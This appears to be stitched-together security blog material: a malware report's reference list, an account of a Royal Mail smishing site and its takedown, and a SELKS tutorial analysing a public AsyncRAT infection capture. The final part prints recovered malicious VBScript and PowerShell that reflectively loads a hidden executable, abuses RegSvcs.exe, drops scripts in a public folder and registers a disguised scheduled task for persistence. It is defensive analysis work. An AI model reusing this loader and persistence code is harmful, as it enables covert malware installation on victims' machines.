[3] Hatching Triage, “Zoom_Invite.call Sample Analysis,” [Online]. Available: https://tria.ge/240925-jvmksatfnl. [Accessed: 09-Oct-2024].

[4] Intezer, “Detailed Malware Analysis of Zoom_Invite.call,” [Online]. Available: https://analyze.intezer.com/analyses/6ff37d32-afad-4fa6-8902-2298ae2005b0. [Accessed: 09-Oct-2024].

[5] Hybrid Analysis, “Zoom_Invite.call Report,” [Online]. Available: https://www.hybrid-analysis.com/sample/2e63fec5163d85af2caf87e31459a0d6cca4cdb3d65a797e00a62b0c2b76acd7. [Accessed: 09-Oct-2024].

[6] YOMI, “YOMI Report on Zoom_Invite.call,” [Online]. Available: https://yomi.yoroi.company/report/66f3aec2bac7dacd13d3f676/66f3aec2bac7dacd13d3f677/overview. [Accessed: 09-Oct-2024].

[7] ABAYOT, “Malware Analysis Report for Zoom_Invite.call,” [Online]. Available: https://www.abayot.space/malware-analysis/2e63fec5163d85af2caf87e31459a0d6cca4cdb3d65a797e00a62b0c2b76acd7. [Accessed: 09-Oct-2024].

[8] Kaspersky OpenTIP, “OpenTIP Analysis for Zoom_Invite.call,” [Online]. Available: https://opentip.kaspersky.com/2e63fec5163d85af2caf87e31459a0d6cca4cdb3d65a797e00a62b0c2b76acd7/results. [Accessed: 09-Oct-2024].

[9] Malwares.com, “Report for File Hash 2e63fec5…,” [Online]. Available: https://www.malwares.com/report/file?hash=2e63fec5163d85af2caf87e31459a0d6cca4cdb3d65a797e00a62b0c2b76acd7. [Accessed: 09-Oct-2024].

[10] F-Secure, “Unmasking Double Jeopardy: A Telegram Bot Spreading Malware and Scam Subscriptions,” F-Secure, 2024. [Online]. Available: https://www.f-secure.com/gb-en/articles/unmasking-double-jeopardy-a-telegram-bot-spreading-malware-and-scam-subscriptions. [Accessed: 09-Oct-2024].

Introduction

On 23/11/2024, a user received an SMS claiming to be from Royal Mail:
“Royal Mail: You have an update for your parcel delivery, check at Royalmail[dot]delivery-service[dot]info.” As shown in Fig 1.

After visiting the website, the user realised it was a phishing attempt designed to harvest personal information. The site requested a small token fee for parcel clearance, which raised suspicion, as Royal Mail would never ask for such a fee. While the request seemed odd, it became more convincing for those who were expecting a delivery from Royal Mail. In such situations, if not paying close attention, it would be easy to fall victim to the scam.

Fig 1: Example of a typical smishing SMS targeting victims.

The attack begins with a seemingly innocuous SMS, followed by a phishing website that mimics the official Royal Mail service. The site is hidden behind Cloudflare as shown in Fig 2, likely to obscure its true origin and make it harder to trace the attackers or for security enhancement.

Fig 2: URL redirection to Cloudflare used by attackers to bypass detection.

The attacker also gathers users postcode as shown in Fig 3.

Fig 3: Fake pending delivery notice requesting postcode verification.

Attack Stages

Stage 1: Harvesting PII

Through the link, the user is prompted to enter their postcode. In the next stage, they are directed to a page requesting confirmation of their address details—something Royal Mail would not typically ask for, as it is not standard practice.

Fig 4: Personal information harvesting on a phishing form.

This form requests the following personal information:

• First Name
• Last Name
• Phone Number
• Date of Birth
• Home Address

At this stage, the attackers collect valuable personally identifiable information (PII) as shown in Fig 4, which could be used for identity theft or further targeted attacks.

Stage 2: Harvesting Credit Card Information

After entering personal details, the victim is shown a page claiming a delivery fee of £1.45 (including VAT).

Fig 5: Fake payment prompt designed to steal sensitive financial data.

The page claims that payment will only be charged upon successful delivery of the parcel, making the request appear more legitimate, as shown in Fig. 5. The small amount requested by the attacker increases the likelihood of the victim agreeing to pay, unaware that they will suffer significant losses if the attacker gains access to their card details.

Fig 6: Harvesting CVV and credit card details on a fake payment page.

The page then asks for credit card details:

• Name as it appears on the card
• Card Number
• Card Expiry Date (MM/YY)
• CVV

This stage is designed to steal credit card information, which can then be used for fraudulent transactions or sold on the dark web. In this case, the attacker attempted to add the victim’s card to Apple Pay and make transactions. However, their efforts failed because we stayed one step ahead of them. Our goal was solely to observe and understand how this process works. Please note that the card was added 09:40PM and they try to charge the card 09:45PM.

Last Page: Final Confirmation

On the final page, the victim is presented with the following message:

Fig 7: Fake shipping process page to deceive the victim.

“Your item will be delivered in the next 2-4 business days. It’ll only take a few seconds, we’re just verifying the details that you’ve entered. You may be redirected to your bank to confirm your details.”

Fig 9: Credential sent to attacker.

This final step creates a sense of urgency and legitimacy, potentially redirecting the victim to their bank’s verification page or simply reassuring them that the process is normal.

Fig 10: Final fake message displayed to confirm successful payment.

Discovering the Hosted Domain

Although the fake domain was hidden behind Cloudflare, it was important to trace its origin before it started using Cloudflare as a shield.

Fig 11: Phishing website protected by Cloudflare to evade detection.

By checking the domain on Name.com, we discovered that the domain was actually registered with NameSilo. While most of the registry details were fake, this allowed us to contact the registrar for domain takedown. However, to take action, we needed evidence that the site was malicious.

Fig 12: Registrar information related to the phishing domain.

Creating a Fake Disposable Credit Card

To gather evidence, We created a fake disposable credit card and proceeded to fill in all the required information on the phishing site, following the attacker’s process exactly. After about ten minutes, We noticed the attacker attempted to use the card via Apple Pay. However, the transaction failed because the card was a disposable one and had already been frozen.

Fig 13: Apple Pay phishing attempt used in smishing campaigns.

Website Takedown

The best pratice is to report the phishing website directly to the domain registrar. With the evidence at hand, We reached out to NameSilo’s support desk, who promptly provided a form for the phishing site takedown.

Fig 14: Domain take-down in progress to mitigate further attacks.

As of this writing, the domain is currently down . We will continue urging the NameSilo team to act swiftly, as this is a clear and sophisticated phishing website. The domain was created on November 16, 2024, and is set to expire on November 16, 2025. By taking down this domain shortly after its creation, many UK users will be protected from falling victim to this scam, contributing to a safer internet for everyone.

Conclusion

This attack is an example of how smishing (SMS phishing) can exploit the anticipation of a delivery. By masquerading as a trusted service like Royal Mail, the attackers trick victims into providing sensitive personal and financial information.

It is critical to remain cautious when receiving unsolicited messages, particularly those related to financial transactions or deliveries. Users should avoid clicking on links in unsolicited SMS messages and verify the authenticity of any requests directly with the company involved.

What to do if you are a victim

If you have already provided your personal or financial information in response to this phishing attempt:

1. Disable your card or frooze it
2. Contact your bank and explain the incident

Also contact:

For suspicious text messages, please send us a screenshot of the message to reportascam@royalmail.com.

In today’s cybersecurity landscape, the ability to analyse PCAP (Packet Capture) files is a critical skill for threat hunters, malware analysts and other profesionals. The increasing sophistication of malware, such as AsyncRAT, demands advanced tools and techniques for effective network traffic analysis. For many years, professionals and experts have relied on Wireshark [3], a widely used tool for these tasks. However, the cybersecurity field often embraces any approach that proves effective.

This blog explores how to use SELKS, an open-source, Debian-based IDS/IPS/Network Security Monitoring platform released under GPLv3 by Stamus Networks, to investigate AsyncRAT infection traffic in PCAP file. SELKS leverages the power of Suricata, Elasticsearch, Logstash, Kibana, Evebox and Scirius, offering a comprehensive environment to visualise, detect, and analyse malicious activities in network traffic. In this post, we will guide you through setting up SELKS, analyzing network traffic data, and identifying indicators of AsyncRAT infections.

AsyncRAT Overview

AsyncRAT is a powerful Remote Access Tool (RAT) that facilitates the remote monitoring and control of computers through a secure, encrypted connection [1][2]. AsyncRAT is designed with both functionality and stealth in mind, AsyncRAT allows users to execute a wide range of commands on the target machine, providing comprehensive access to its features and data [4] [5] [6].

With its client-server architecture, AsyncRAT enables seamless communication between the attacker and the infected system as shown in Fig 1 [2]. The tool supports various functionalities, including screen viewing, file transfer, and system monitoring, making it a versatile solution for remote administration, surveillance, and exploitation [4].

Its capabilities also include anti-analysis features, ensuring that it can evade detection by security software. Overall, AsyncRAT serves as a robust solution for individuals seeking to maintain control over remote systems while remaining discreet in their operations [5][6][7].

Fig 1: AsyncRAT

Table 1: AsyncRAT Features [2]

Overview

We selected a random ASYNC RAT infection posted on 9 January 2024 from malware-traffic-analysis.net and utilised SELKS to analyse the associated PCAP file. This analysis enabled us to identify the victim and understand the events that occured over the network. We then examined the files downloaded by the victim, which led us to discover obfuscated malware embedded in JPG and text files. After deobfuscating these files, we reversed them back to their original form. To confirm our findings, we submitted the files to hybrid analysis tools such as VirusTotal, Hybrid-Analysis, and AnyRun. The results revealed a detection rate of 57 out of 74 on VirusTotal. Ultimately, we successfully employed SELKS to analyse the PCAP file.

Prerequisites

Before diving into the analysis, ensure you have the following:

• SELKS: A setup of the SELKS platform, either installed locally or accessible via a remote server. SELKS GitHub Repository
• PCAP File: A packet capture file containing network traffic data for analysis. Malware Traffic Analysis - AsyncRAT Infection
• Basic Knowledge: Familiarity with network protocols, Suricata, and the fundamentals of malware analysis.

What is SELKS ?

Table 2: SELKS

Note: The acronym SELKS was established before the addition of Arkime, EveBox, and CyberChef.

Installation and Configuration

SELKS can be installed on any Linux operating system or Windows using Docker. Additionally, there is an ISO available for SELKS; however, this ISO does not come pre-installed with SELKS. The author has been using the Linux version of this ISO, which appears to be effective, but it can be utilised in any Linux environment. In this section, the steps to install the Docker version of SELKS will be outlined.

Basic Installation

In the terminal, execute the following commands and make sure its look relatively as shown in Fig 2:

git clone https://github.com/StamusNetworks/SELKS.git
cd SELKS/docker/
./easy-setup.sh
docker-compose up -d

Fig 2: SELKS Docker up

Accessing SELKS

Once the containers are up and running, users should point their browser to https://your.selks.IP.here/. If Portainer was installed during the setup process, users must visit https://your.selks.IP.here:9443 to set Portainer’s admin password if you select portainer’s during setup to main your docker.

If the setup script fails and users believe it may be a bug, they are encouraged to report an issue. Additionally, a manual setup process is available for reference.

Credentials and Login

To access Scirius, users will need the following credentials:

• Username: selks-user
• Password: selks-user

This documentation is also available at SELKS GitHub Repository.

Note: It is necessary to install Git and cURL.

While this is the general installation guide, it is important to note that users may want to bring down the Docker containers using the command:

docker-compose down

Loading the PCAP File into SELKS

The reason for this step is to load the PCAP file that will be used for hunting into SELKS. Peter Manev recently demonstrated how to do this in a video with Dr Josh, titled [Network Security Monitoring and Threat Hunting w/ Peter Manev [13].

After the Docker containers are down, the next step is to place the PCAP file into /home/selks-user/SELKS/docker or whichever location is preferred.

Next, users will want to load the PCAP file using tips from Peter Manev [13]. As shown in Fig 3, 4 & 5

Executing the Setup Command

The following command is executed:

./easy-setup.sh -n -i tppdummy0 --iA && sudo -E docker compose up -d && sudo scripts/readpcap.sh -ac 2024-01-09-AsyncRAT-infection-traffic.pcap 

Fig 3: dummy interface

Note: Fig 4

Fig 4: Network Interface

This command runs a script called easy-setup.sh with options to execute without prompts and to initialise a network interface named tppdummy0. Once the setup script completes, it starts Docker services defined in a Docker Compose file in detached mode. Finally, it runs a script named readpcap.sh with the specified packet capture file. If everything goes smoothly, users should see a terminal output similar to the example shown in the provided figure.

Fig 5: Configuration_node_selks

SELKS Dashboard

By now, if everything is working correctly, users can locate their system IP using the command ip a or ifconfig. For example, if the IP address is 192.168.30.20, users should type the following into their browser as shown in Fig 6:

https://192.168.30.20/stamus/hunting/dashboards

This will redirect users to the login page.

Fig 6: Selks dashboard

Alternatively, instead of using the IP address, users can edit the /etc/hosts file to add the IP address with a desired hostname. For example:

192.168.30.20 selks.hunt

Then visit the url https://selks.hunt

After PCAP Ingestion

After ingesting the PCAP file, the next phase is hunting. The advantage of using SELKS is that the dashboard is self-explanatory, providing detailed information such as detection methods, categories, severities, method severities, MITRE ATT&CK mappings, attack targets, client endpoints, client and server interactions, affected products, malware families, and more as shown in Fig 5.

SELKS effectively breaks down all the packets from the PCAP file, and this information is shared across the various tools included in the platform. By processing or ingesting the PCAP file with SELKS, users can uncover a wealth of useful tactics.

Please note that if users wish to add more detection rules, SELKS supports this feature. Additional rules can be found at:

 https://YOURIP/rules/source/

We will not cover rules in this blog as this is another topic itself.

Analysing the PCAP file

While the author is not a professional user of SELKS, spending time with the platform repeatedly has allowed them to gain knowledge on correlating events. The video mentioned previously with Dr Josh, titled Network Security Monitoring and Threat Hunting w/ Peter Manev, has contributed to this understanding. The author has grasped basic knowledge about SELKS, and this exploration is being undertaken together as newcomers to the platform. In addition, make sure to use the right ingesting date as shown in Fig 7.

Fig 7: PCAP Time

Analysis of AsyncRAT Detection in SELKS

After ingesting the PCAP file, the SELKS platform effectively breaks down the attack traffic, identifying the presence of AsyncRAT malware through the TLS information. This indicates that the platform is capable of recognising known threats by analysing network traffic patterns as shown in Fig 8.

Fig 8: Configuration_node_selks

Key Findings

1. Malware Identification: The detection of AsyncRAT is significant as it allows for prompt response measures. The AsyncRAT malware is known for its capability to establish remote access to infected systems, making timely identification crucial.

2. Accessed URLs: The analysis reveals that AsyncRAT accessed two specific URLs:

   • /xlm.txt
   • /mdm.jpg

   These file names suggest that the malware may be retrieving configuration data or additional payloads necessary for its operation.

MITRE ATT&CK Framework Insights

The SELKS platform also provides insights using the MITRE ATT&CK framework, which offers a structured approach to understanding adversarial tactics and techniques. The relevant findings are as follows:

• Tactic ID: TA0011
  • Tactic Name: Command and Control
    This tactic focuses on methods that attackers use to communicate with compromised systems.
• Technique IDs:
  • T1071: Application Layer Protocol
    This technique involves using application layer protocols to communicate with command and control servers.
  • T1568: Dynamic Resolution
    This technique pertains to the ability of the attacker to dynamically resolve domain names used for command and control.

Organisational Information

The analysis provides information on the attackers and victims involved in the incident:

• Attackers:
  • IP Addresses:
    • 45.126.209.4
    • 10.1.9.1
• Victims:
  • IP Address:
    • 10.1.9.101

This information can be instrumental in tracing the origins of the attack and understanding the targeted environmentn as we move alonside.

Detection Methods

Several detection methods have been identified that provide insight into potential security incidents involving AsyncRAT and related activities as shown accross the toolbox such as EveBox and others.

1. The first detection method is an informational alert for a DYNAMIC_DNS query to any domain under the *.duckdns. umbrella. This could indicate attempts to resolve dynamic DNS entries, which are often used by malicious actors to obscure their activities.

2. Another significant detection is an alert for PowerShell NoProfile Command received in PowerShell stagers. This indicates that potentially harmful commands are being executed without user profiles, which is a common tactic used in attacks as shown in Fig 9.

3. Similarly, a detection alert for PowerShell NonInteractive Command suggests the presence of commands that are common in PowerShell stagers. This technique is often leveraged in attack scenarios to execute scripts without user interaction.

Fig 9: Evebox Dashboard

1. A notable finding is the observation of a Malicious SSL Certificate associated with AsyncRAT servers. The presence of such a certificate can signify that an attacker is using SSL to encrypt malicious traffic, thus evading detection.

2. Additionally, a generic AsyncRAT Style SSL Certificate has been identified, reinforcing the likelihood of AsyncRAT involvement in the observed network activities.

3. Another detection method alerts for a DYNAMIC_DNS query to a *.duckdns.org domain, indicating further attempts to resolve potentially malicious dynamic DNS entries.

4. Lastly, an inbound alert for an ASYNC RAT Payload signifies that the system has detected incoming traffic that matches known patterns associated with AsyncRAT malware as shown in Fig 10.

Fig 10: AsyncRat Payload

These detection methods provide valuable insights for security analysts and threat hunters, allowing them to monitor and respond to potential threats more effectively.

Diggging Deeper

Analysis Using ELK Stack

We will utilise the Elastic stack to further investigate the AsyncRAT malware. One of the advantages of the SELKS platform is that it comes with several pre-installed dashboards, which facilitate analysis and correlation of data as shown in Fig 11.

Fig 11: Elastic Dashboard

In this phase, we will focus specifically on the “SN-HUNT-1” dashboard for our analysis as shown in Fig 12. This dashboard provides useful visualisations and insights that will aid in uncovering additional information related to the AsyncRAT threat.

Fig 12: SELKS Dashboard Pre-installed

Note: The year of event is important when analysing PCAP files, especially if the capture occurred 6 to 7 months ago. Be sure to adjust the date backward according to the time the packets were captured as shown in Fig 13.

Fig 13: PCAP Time Settings

Overview of the attack

On January 9, 2024, an attack was initiated against the victim located at IP address 10.1.9.101 by the attacker at IP address 45.126.209.4. The attack leveraged malicious HTTP and DNS requests to facilitate the download of payload files and execute commands on the victim’s machine. The events that trigger during this timeframe provide insight into the methods used and the nature of the attack as depitted in Fig 14.

Fig 14: Attack Flow

Attack flow timeline

1. 17:27:28.141: The victim, 10.1.9.101, initiated an HTTP connection to the attacker’s server, 45.126.209.4, on port 222. This connection is the starting point of the interaction, indicating that the victim’s system is potentially reaching out to the attacker’s command and control server.

2. 17:27:30.102: An alert was triggered indicating that an AsyncRAT Payload was inbound. This suggests that the attacker was delivering malicious payloads to the victim’s machine, likely using the established HTTP connection.

3. 17:27:30.376: File information was retrieved, revealing that the victim accessed the file /mdm.jpg from the attacker’s server. This indicates that the attacker used a seemingly innocuous file type (an image) to disguise the malicious payload.

4. 17:27:31.026: Another HTTP request from the victim to the attacker’s server was logged, confirming the ongoing communication. At this stage, it remains unclear whether the victim is aware that they are interacting with a malicious server.

5. 17:27:33.174: Multiple alerts were triggered around the same timestamp:
   • The first alert noted a PowerShell NoProfile Command received in PowerShell stagers, indicating that malicious commands were executed in a way that did not load the user’s profile, making it stealthier.
   • The second alert for a PowerShell NonInteractive Command further supports the notion that the attacker was executing commands without the victim’s knowledge, which is typical for this type of malware.
   • The file information revealed that another file, /xlm.txt, was accessed during this time, suggesting additional data being retrieved from the attacker’s server.

6. 17:29:48.927: The victim sent a DNS query for a dynamic DNS entry, specifically for madmrx.duckdns.org, indicative of the attacker using dynamic DNS to maintain access to their infrastructure. This query raises a red flag, as attackers often use dynamic DNS to mask their actual server locations.

7. 17:29:49.262: A second DNS query was made for the same dynamic DNS entry, further solidifying the connection and communication between the victim and the attacker.

8. 17:29:49.979: A TLS connection was established between the victim and the attacker on port 8080. This indicates that the attacker may be encrypting their communications to evade detection.

9. 17:29:49.983: Multiple alerts were triggered indicating that malicious SSL certificates associated with AsyncRAT were observed. The detection of these certificates suggests that the attacker was employing SSL encryption to obfuscate their traffic, making it harder for security systems to detect malicious activity.

Files Downloaded by the Victim

The files that were downloaded by the victim during the attack include:

• /mdm.jpg: This file is likely a decoy or a disguised payload that contains malicious code or functionality.
• /xlm.txt: This file may contain configuration information or additional commands for the AsyncRAT malware.

Investigating the downlaoded files

The first file, /xlm.txt, was downloaded on January 9, 2024, at 17:27:33.174. It originated from the source IP address 45.126.209.4 on port 222, using the HTTP protocol. The destination was the victim’s IP address 10.1.9.101 on port 49708. This file is an ASCII text file with a size of 1974 bytes and a SHA-256 hash of 1e9c29d7af6011ca9d5609cb93b554965c61105a42df9fe0c36274e60db71b1d. The User-Agent string indicates it was accessed using an outdated version of Internet Explorer.

The second file, /mdm.jpg, was also downloaded on January 9, 2024, at 17:27:30.376. It was similarly sourced from 45.126.209.4 on port 222 and targeted the same victim IP address on port 49709. This file is an UTF-8 Unicode (with BOM) text file, with a size of 102,400 bytes and a SHA-256 hash of 7f5bd928f926916d8d1cad02ddfaf24d03e2ba48982df0a86d2c76ccfe3544fb.

Detailed Analysis of the Incident Involving XLM.txt and the MDM.jpg Files

In this analysis, we will perform a detailed investigation of two files—XLM.txt and MDM.jpg—downloaded by the victim. The aim is to understand the potential impact of these files and assess their malicious intent. We will start by focusing on XLM.txt and then proceed to analyse the MDM.jpg file.

Investigating the XLM.txt File

Step 1: Opening the Incident in EveBox

To investigate the incident involving XLM.txt, we use EveBox, a web-based event management interface for Suricata. To view the incident details:

1. Right-click on the “Correlate Flow” entry associated with the XLM.txt download.
2. This action will open another tab displaying the specific incident, as shown in the referenced figure (Fig 15).

Fig 15: Correlate Flow

Step 2: Event Details Analysis

Upon examining the incident data, we observe two events that occurred on January 9, 2024, at 17:27:33. Nevertheless, this two event shown here are the same. Below are the details of one of the events:

Event 1

• Date and Time: 2024-01-09 17:27:33
• Source IP (S): 45.126.209.4
• Destination IP (D): 10.1.9.101
• Event Description: ET HUNTING PowerShell NonInteractive Command Common In PowerShell Stagers
• Protocol: HTTP

The events indicate that the victim’s system interacted with potentially malicious PowerShell commands, suggesting that a staged PowerShell attack could have taken place.

Step 3: Analysing the HTTP Response Body

When we examine the http_response_body, we observe a Base64 payload that was retrieved by the victim. The good news is that the SELKS platform automatically decoded this payload, providing us with valuable insights into its contents as shown in Fig 16.

Fig 16. Base64 Payload

HTTP Response Details:

• Response Status: HTTP/1.1 200 OK
• Date: Tue, 09 Jan 2024 17:27:28 GMT
• Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.0.30
• Last-Modified: Fri, 05 Jan 2024 10:28:14 GMT

The retrieved file contains the following suspicious code snippet:

' Combine the parts into one string
OodjR = ""

For i = 0 To 88 - 1
    OodjR = OodjR & LseWX(i)
Next

' Use the combined parts in the shell execution
Set objShell = CreateObject("WScript.Shell")
objShell.Run "Cmd.exe /c POWeRSHeLL.eXe -NOP -WIND HIDDeN -eXeC BYPASS -NONI " & OodjR, 0, True

Set objShell = Nothing

The code above clearly indicates a malicious PowerShell execution attempt:

• String Manipulation: The code dynamically constructs a string using a loop to concatenate parts into a variable called OodjR.
• Command Execution: The script then uses WScript.Shell to execute a hidden PowerShell command (Cmd.exe /c POWeRSHeLL.eXe -NOP -WIND HIDDeN -eXeC BYPASS -NONI), designed to run without any user interface or interaction.
• Malicious Intent: The command employs various techniques to avoid detection, such as the use of -NOP (NoProfile) and -WIND (Window Hidden), which are common in malware to evade visibility.

Given that this payload is not carrying a binary executable file but rather executing commands through PowerShell, it is important to monitor for similar scripts or commands that could pose a risk to the system.

Next Steps

Since the investigation confirms that the XLM.txt file contains malicious PowerShell code as shown in Fig 17, we will now proceed to analyse the second file, MDM.jpg, which was also downloaded by the victim.

Fig 17. The text file > powershell

Analysis of the MDM.jpg File

The investigation continues with the analysis of the second file, MDM.jpg, which was also downloaded by the victim. To proceed, follow these steps:

1. Right-click on the event and a new tab will open in EveBox, or alternatively, copy the Flow ID 171339327210605 and search for it in EveBox. This process is illustrated in Figure 5.

• Event Details:
  • Date: 9th January 2024
  • Source IP: 45.126.209.4
  • Destination IP: 10.1.9.101
  • Detection Alert: ET MALWARE ASYNC RAT Payload Inbound

Upon further examination, it becomes clear that the initial JPEG file is not a genuine image but rather contains plain text encoded in base64 format. When decoded within the SELKS platform, this base64 content converts into a lengthy hexadecimal string represented by a function named $hexString_bbb and $hexString_pe, which we suspect contains the main payload as shown in Fig 18.

Fig 18: Hex Payloads

The content inside the malicious MDM.jpg downloaded by the victim through the the attacker IP, appears as follows:

$hexString_bbb = "4D_5A_90_00_03_00_00_00_04_00_00_00_FF_FF_00_00_B8_00_00_00_00_00_00_00_40_00_00_00_00_00_00_00_00_00_00_00_00_00_00_00_00_00_00_00_00_00_00_00_00_00_00_00_00_00_00_00_00_00_00_00_80_00_00_00_0E_1F_BA_0E_00_B4_09_CD_21_B8_01_4C_CD_21_54_68_69_73_20_70_72_6F_67_72_61_6D_20_63_61_6E_6E_6F_74_20_62_65_20_72_75_6E_20_69_6E_20_44_4F_53_20_6D_6F_64_65_2E_0D_0D_0A_24_00_00_00_00_00_00_00_50_45_00_00_4C_01_03_00_FC_C6_3F_65_00_00_00_00_00_00_00_00_E0_00_02_01_0B_01_08_00_00_F8_00_00_00_0A_00_00_00_00_00_00_2E_16_01_00_00_20_00_00_00_20_01_00_00_00_40_00_00_20_00_00_00_02_00_00_04_00_00_00_00_00_00_00_04_00_00_00_00_00_00_00_00_60_01_00_00_02_00_00_00_00_00_00_02_00_60_85_00_00_10_00_00_10_00_00_00_00_10_00_00_10_00_00_00_00_00_00_10_00_00_00_00_00_00_00_00_00_00_00_DC_15_01_00_4F_00_00_00_00_20_01_00_FF_07_00_0_continue....
$hexString_pe = "4D_5A_90_00_03_00_00_00_04_00_00_00_FF_FF_00_00_B8_00_00_00_00_00_00_00_40_00_00_00_00_00_00_00_00_00_00_00_00_00_00_00_00_00_00_00_00_00_00_00_00_00_00_00_00_00_00_00_00_00_00_00_80_00_00_00_0E_1F_BA_0E_00_B4_09_CD_21_B8_01_4C_CD_21_54_68_69_73_20_70_72_6F_67_72_61_6D_20_63_61_6E_6E_6F_74_20_62_65_20_72_75_6E_20_69_6E_20_44_4F_53_20_6D_6F_64_65_2E_0D_0D_0A_24_00_00_00_00_00_00_00_50_45_00_00_4C_01_03_00_3F_32_26_90_00_00_00_00_00_00_00_00_E0_00_0E_21_0B_01_30_00_00_22_01_00_00_06_00_00_00_00_00_00_4E_40_01_00_00_20_00_00_00_60_01_00_00_00_40_00_00_20_00_00_00_02_00_00_04_00_00_00_00_00_00_00_06_00_00_00_00_00_00_00_00_A0_01_00_00_02_00_00_00_00_00_00_03_00_60_85_00_00_10_00_00_10_00_00_00_00_10_00_00_10_00_00_00_00_00_00_10_00_00_00_00_00_00_00_00_00_00_00_00_40_01_00_4B_00_00_00_00_60_01_00_64_03_00_00_00_00_00_00_00_00_00_00_00_00_00_00_00_00_00_00_00_80_01_00_0C_00_00_00_BE_3F_01_00_1C_00_00_00_00_00_00_00_00_00_00_00_00_00_00_00_00_00_00_00_00_00_00_00_00_00_00_00_00_00_00_00_00_00_00_00_00_00_00_00_00continue...."

Sleep 5
[Byte[]] $NKbb = $hexString_bbb -split '_' | ForEach-Object { [byte]([convert]::ToInt32($_, 16)) }
[Byte[]] $pe = $hexString_pe -split '_' | ForEach-Object { [byte]([convert]::ToInt32($_, 16)) }

Sleep 5
$HM = 'L###############o################a#d' -replace '#', ''
$Fu = [Reflection.Assembly]::$HM($pe)


$NK = $Fu.GetType('N#ew#PE#2.P#E'-replace  '#', '')
$Ms = $NK.GetMethod('Execute')
$NA = 'C:\W#######indow############s\Mi####cr'-replace  '#', ''
$AC = $NA + 'osof#####t.NET\Fra###mework\v4.0.303###19\R##egSvc#####s.exe'-replace  '#', ''
$VA = @($AC, $NKbb)

$CM = 'In#################vo################ke'-replace '#', ''
$EY = $Ms.$CM($null, [object[]] $VA)


'@
[IO.File]::WriteAllText("C:\Users\Public\Conted.ps1", $Content)


$Content = @'
@e%Conted%%Conted% off
set "ps=powershell.exe"
set "Contedms=-NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass"
set "cmd=C:\Users\Public\Conted.ps1"
%ps% %Contedms% -Command "& '%cmd%'"
exit /b

'@
[IO.File]::WriteAllText("C:\Users\Public\Conted.bat", $Content)

$Content = @'
on error resume next
Function CreateWshShellObj()
    Dim objName
    objName = "WScript.Shell"
    Set CreateWshShellObj = CreateObject(objName)
End Function

Function GetFilePath()
    Dim filePath
    filePath = "C:\Users\Public\Conted.bat"
    GetFilePath = filePath
End Function

Function GetVisibilitySetting()
    Dim visibility
    visibility = 0
    GetVisibilitySetting = visibility
End Function

Function RunFile(wshShellObj, filePath, visibility)
    wshShellObj.Run filePath, visibility
End Function

Set wshShellObj = CreateWshShellObj()
filePath = GetFilePath()
visibility = GetVisibilitySetting()
Call RunFile(wshShellObj, filePath, visibility)

'@
[IO.File]::WriteAllText("C:\Users\Public\Conted.vbs", $Content)


Sleep 2

$scheduler = New-Object -ComObject Schedule.Service
$scheduler.Connect()

$taskDefinition = $scheduler.NewTask(0)
$taskDefinition.RegistrationInfo.Description = "Runs a script every 2 minutes"
$taskDefinition.Settings.Enabled = $true
$taskDefinition.Settings.DisallowStartIfOnBatteries = $false

$trigger = $taskDefinition.Triggers.Create(1)  # 1 = TimeTrigger
$trigger.StartBoundary = [DateTime]::Now.ToString("yyyy-MM-ddTHH:mm:ss")
$trigger.Repetition.Interval = "PT2M"

# .......... ...... Action
$action = $taskDefinition.Actions.Create(0)  # 0 = ExecAction
$action.Path = "C:\Users\Public\Conted.vbs"

$taskFolder = $scheduler.GetFolder("\")
$taskFolder.RegisterTaskDefinition("Update Edge", $taskDefinition, 6, $null, $null, 3)

Payload code analysis

This script is designed to execute a payload in a stealthy and persistent manner using a combination of obfuscation, PowerShell, VBScript, and scheduled tasks. Here’s a detailed explanation of how each part works:

1. Sleeping and Converting Hexadecimal to Byte Arrays

   Sleep 5
   [Byte[]] $NKbb = $hexString_bbb -split '_' | ForEach-Object { [byte]([convert]::ToInt32($_, 16)) }
   [Byte[]] $pe = $hexString_pe -split '_' | ForEach-Object { [byte]([convert]::ToInt32($_, 16)) }

The script begins by sleeping for 5 seconds, likely to avoid detection or to ensure that system resources are available. After the delay, it processes two variables, $hexString_bbb and $hexString_pe, which are assumed to be hexadecimal strings. Each string is split into segments using the underscore (_) as a delimiter, and each segment is converted from hex to its byte representation. This results in two byte arrays, $NKbband and $pe . These arrays likely contain important data or executable code that will be used later.

2. Loading a .NET Assembly from Memory

$HM = 'L###############o################a#d' -replace '#', ''
$Fu = [Reflection.Assembly]::$HM($pe)

Next, the script proceeds to load a .NET assembly directly from memory. The method used here is obfuscated to evade detection by string-matching techniques. By replacing the # characters with an empty string, the method Load is revealed, which is part of the .NET Reflection.Assembly class. This method is used to load the $pe byte array, which was created earlier. Essentially, this allows the script to execute a .NET assembly without writing it to disk, making it harder for antivirus programs to detect.

3. Accessing and Executing a Method from the Loaded Assembly

$HM = 'L###############o################a#d' -replace '#', ''
$Fu = [Reflection.Assembly]::$HM($pe)

After the assembly is loaded into memory, the script retrieves a specific class from it, named NewPE2.PE. This name is also obfuscated using # symbols, which are replaced to reveal the actual class name. The script then fetches the Execute method from this class, which will later be invoked to run the payload.

$NA = 'C:\W#######indow############s\Mi####cr'-replace  '#', ''
$AC = $NA + 'osof#####t.NET\Fra###mework\v4.0.303###19\R##egSvc#####s.exe'-replace  '#', ''
$VA = @($AC, $NKbb)

Here, the script builds a path to a specific executable file located in the .NET framework: RegSvcs.exe. Again, heavy obfuscation is used to hide the actual path. The final path is constructed by piecing together several obfuscated strings, resulting in C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe. This file is a legitimate part of the .NET framework but is being misused here. The $VA array is created to hold the path to this executable, and the byte array $NKbb, likely to be used as parameters for the Execute method.

4. Creating PowerShell and Batch Files

The script then writes several files to the C:\Users\Public directory, ensuring they are easily accessible and executable:

1. PowerShell Script (Conted.ps1) ``` powershell [IO.File]::WriteAllText(“C:\Users\Public\Conted.ps1”, $Content)

This part of the script creates a PowerShell file, Conted.ps1. Although the content of this script is not shown in the current code snippet, it is likely part of the payload that will be executed later.

2. **Batch File (Conted.bat)**:

``` powershell
$Content = @'
@e%Conted%%Conted% off
set "ps=powershell.exe"
set "Contedms=-NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass"
set "cmd=C:\Users\Public\Conted.ps1"
%ps% %Contedms% -Command "& '%cmd%'"
exit /b
'@
[IO.File]::WriteAllText("C:\Users\Public\Conted.bat", $Content)

